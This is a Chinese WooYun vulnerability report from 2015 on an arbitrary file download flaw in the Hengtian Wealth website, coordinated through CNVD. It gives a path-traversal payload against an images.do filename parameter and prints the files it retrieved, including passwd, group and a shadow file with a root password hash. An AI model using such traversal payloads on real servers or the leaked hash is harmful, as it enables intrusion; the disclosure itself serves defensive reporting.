当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0162183

漏洞标题：恒天财富官网存在任意文件下载漏洞（可下载shadow文件）

相关厂商：恒天财富

漏洞作者： 军团指挥官

提交时间：2015-12-17 20:24

修复时间：2016-02-01 10:51

公开时间：2016-02-01 10:51

漏洞类型：系统/服务运维配置不当

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-17： 细节已通知厂商并且等待厂商处理中
2015-12-21： 厂商已经确认，细节仅向厂商公开
2015-12-31： 细节向核心白帽子及相关领域专家公开
2016-01-10： 细节向普通白帽子公开
2016-01-20： 细节向实习白帽子公开
2016-02-01： 细节向公众公开

简要描述：

恒天财富于2011年3月成立，公司总部设立于北京CBD，注册资本金1亿元。主要股东包括央企中国恒天集团旗下上市子公司经纬纺机（A股代码000666，H股代码 00350）、国际顶级投资银行、境内金融控股集团以及员工持股。
官网存在任意文件下载，可下载linux主机的passwd，乃至shadow，，，等等

详细说明：

存在问题的位置：
http://**.**.**.**/images.do?filename=../../../../../../../../../../
以下为下载到的部分文件，首先passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pulse:x:497:496:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin


其次resolv.conf

# Generated by NetworkManager
# No nameservers found; try putting DNS servers into your
# ifcfg files in /etc/sysconfig/network-scripts like so:
#
# DNS1=xxx.xxx.xxx.xxx
# DNS2=xxx.xxx.xxx.xxx
# DOMAIN=**.**.**.** **.**.**.**


还有shadow:

root:$6$retC1zIsgtgio.6r$Tnexv/uaOpa1zlH1iJtA.KQZyeTd7Bp9I2T18on6ep4kmR7BOYQtDVZ4dTzJjJXmSjiUw9LZEttIlfhR9n3q00:16665:0:99999:7:::
bin:*:15422:0:99999:7:::
daemon:*:15422:0:99999:7:::
adm:*:15422:0:99999:7:::
lp:*:15422:0:99999:7:::
sync:*:15422:0:99999:7:::
shutdown:*:15422:0:99999:7:::
halt:*:15422:0:99999:7:::
mail:*:15422:0:99999:7:::
uucp:*:15422:0:99999:7:::
operator:*:15422:0:99999:7:::
games:*:15422:0:99999:7:::
gopher:*:15422:0:99999:7:::
ftp:*:15422:0:99999:7:::
nobody:*:15422:0:99999:7:::
dbus:!!:16665::::::
usbmuxd:!!:16665::::::
avahi-autoipd:!!:16665::::::
vcsa:!!:16665::::::
rpc:!!:16665:0:99999:7:::
rtkit:!!:16665::::::
abrt:!!:16665::::::
haldaemon:!!:16665::::::
ntp:!!:16665::::::
apache:!!:16665::::::
saslauth:!!:16665::::::
postfix:!!:16665::::::
avahi:!!:16665::::::
rpcuser:!!:16665::::::
nfsnobody:!!:16665::::::
pulse:!!:16665::::::
gdm:!!:16665::::::
sshd:!!:16665::::::
tcpdump:!!:16665::::::


以及group:

root:x:0:
bin:x:1:bin,daemon
daemon:x:2:bin,daemon
sys:x:3:bin,adm
adm:x:4:adm,daemon
tty:x:5:
disk:x:6:
lp:x:7:daemon
mem:x:8:
kmem:x:9:
wheel:x:10:
mail:x:12:mail,postfix
uucp:x:14:
man:x:15:
games:x:20:
gopher:x:30:
video:x:39:
dip:x:40:
ftp:x:50:
lock:x:54:
audio:x:63:
nobody:x:99:
users:x:100:
dbus:x:81:
usbmuxd:x:113:
utmp:x:22:
utempter:x:35:
avahi-autoipd:x:170:
desktop_admin_r:x:499:
desktop_user_r:x:498:
floppy:x:19:
vcsa:x:69:
rpc:x:32:
rtkit:x:497:
abrt:x:173:
cdrom:x:11:
tape:x:33:
dialout:x:18:
haldaemon:x:68:haldaemon
ntp:x:38:
apache:x:48:
saslauth:x:76:
postdrop:x:90:
postfix:x:89:
avahi:x:70:
rpcuser:x:29:
nfsnobody:x:65534:
pulse:x:496:
pulse-access:x:495:
fuse:x:494:
gdm:x:42:
stapusr:x:156:
stapsys:x:157:
stapdev:x:158:
sshd:x:74:
tcpdump:x:72:
slocate:x:21:


再次hosts：

**.**.**.**   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6


漏洞证明：

QQ图片20151202171421.jpg

修复方案：

禁止../../../合理配置服务器，

版权声明：转载请注明来源 军团指挥官@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2015-12-21 17:30

厂商回复：

CNVD确认并复现所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。

最新状态：

暂无

漏洞评价：

评价